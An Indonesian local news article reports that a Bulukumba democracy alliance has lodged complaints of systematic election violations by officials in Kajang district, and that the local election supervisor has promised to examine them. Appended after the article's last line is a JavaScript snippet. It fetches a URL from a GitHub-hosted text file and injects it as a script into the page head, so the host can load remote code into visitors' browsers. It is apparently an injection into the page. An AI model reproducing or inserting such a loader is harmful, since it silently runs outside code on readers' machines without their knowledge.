Bulukumba. 71 orang Penyelenggara di duga melakukan pelanggaran Terstruktur, sistemasis dan Massif ( TSM) pemilu di laporkan oleh Aliansi Masyarakat Peduli Demokrasi Bulukumba kepada Bawaslu Bulukumba, Bawaslu provinsi serta DKPP, hal ini terkuat karna pihak penyelenggara yg betugas di TPS tidak lagi mengacu kepada UU No 7.
“Hal ini terbukti di desa mallleleng kec. Kajang, terkait kotak suara yang tidak tersegel dan C Plano yang tidak tergulung rapi di TPS 01 – 06 Desa Malleleng kecamatan Kajang dan beberapa klarifikasi ketua PPK Kec Kajang yang tidak sesuai dengan kenyataan dilapangan” tegas Tasman.
Tak hanya itu, massa aksi juga menuntut agar pelanggaran Pemilu di Kecamatan Kajang ditindak tegas guna mengklarifikasi opini publik. “Jika memang tidak ada unsur kecurangan dan hanya kesalahan teknis serta komunikasi antar-penyelenggara, kami meminta agar kasus ini tetap diproses sesuai prosedur yang ada,” ujarnya.
Selain itu, aliansi juga menyoroti adanya pemilih yang tidak terdaftar dalam absen daftar pemilih yang hadir di TPS 01 Tanah Toa. Meskipun ketua KPPS 01 Tanah Toa mengakui adanya 15 orang pemilih yang tidak tertulis dan tidak tandatangan dalam daftar hadir peserta pemilih namun tetap melakukan pencoblosan, pun pernyataan ketua PPK Kec Kajang yang membenarkan boleh memilih tanpa mengisi absen terlebih dahulu tentu kekeliruan yang membuktikan kapasitas dan kompetensi ketua PPK Kec Kajang tidak pantas sebagai ketua. mereka meminta agar kasus ini juga ditindaklanjuti dengan serius.
“Kami menduga bahwa apa yang terjadi di TPS tanah toa mungkin juga terjadi di TPS lainnya,” ungkap Tasman
“Kami juga menyayangkan sikap Komisioner KPU yang hadir dalam kejadian kericuhan di ruang pleno PPK Kecamatan Kajang pada tanggal 25 Februari 2024,” sambung Tasman.
“Kami merasa bahwa Komisioner KPU seharusnya dapat mengambil alih forum dan memberikan solusi. Namun, mereka seolah sembunyi dalam kamar.”tutup Tasman.
Aliansi Masyarakat Peduli Demokrasi Kabupaten Bulukumba tidak sendirian dalam menyuarakan tuntutan keadilan dalam pemilu.
Aktivis buruh, Asdar Sakka, juga turut berbicara tentang maraknya kecurangan yang mengotori proses demokrasi di Bulukumba. Menurut Asdsr, pemilu di Bulukumba terkesan tidak bisa dipisahkan dari praktik-praktik kotor yang telah menodai esensi demokrasi.
Ia menyatakan keprihatinannya atas berbagai pelanggaran yang terjadi, termasuk ketidaktransparanan dalam penghitungan suara dan ketidaksesuaian data pemilih. “Kami menekankan pentingnya penegakan aturan dan keadilan dalam proses demokrasi di Bulukumba,” ujar Asdar Sakka.
Maka Bawaslu dan KPU segera melakukan penyelidikan mendalam dan memastikan bahwa proses pemilu di Bulukumba murnintanpa adanya kecurangan. Aliansi peduli demokrasi peringatkan KPU dan Bawaslu Bulukumba, bahwa skandal Pemilu di Bulukumba berpotensi dibawa ke Mahkamah Konstitusi. Peringatan keras itu muncul, bila mana pihak penyelenggara tidak serius dalam menyelesaikan permasalahan Pemilu di Kecamatan Kajang. Ultimatum ini, agar KPU dan Bawaslu tidak mengabaikan desakan masyarakat Kajang dan memperlakukannya secara sepele. Integritas dan kepercayaan publik dalam proses demokrasi harus dijaga dengan sungguh-sungguh.
Oleh karena itu, mereka mendesak KPU dan Bawaslu untuk melakukan penyelidikan menyeluruh dan memastikan bahwa proses pemilu di Bulukumba berjalan sesuai dengan prinsip-prinsip demokrasi yang sehat.
Ketua Badan Pengawas Pemilu (Bawaslu) Bulukumba, Sulawesi Selatan, Bakri Abubakar Atas desakan itu, Bakri berjanji akan menindak lanjuti tuntutan sesuai dengan ketentuan peraturan perundang-undangan yang berlaku. Dengan tegas, dirinya akan menindaklanjuti tuntutan massa sesuai dengan ketentuan peraturan perundang-undangan yang berlaku.”Tentu kami akan mengkaji secara cermat terkait pelanggaran Pemilu ini,” jelas Bakri. Bakri juga menjelaskan bahwa, terdapat tiga jenis pelanggaran pemilu yang perlu dipahami, yakni pelanggaran administrasi, pelanggaran kode etik penyelenggara pemilu, dan pelanggaran tindak pidana pemilu. “Insha Allah, hari Senin saya akan memanggil yang terlapor,” tutup Bakri, dengan serius.* (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)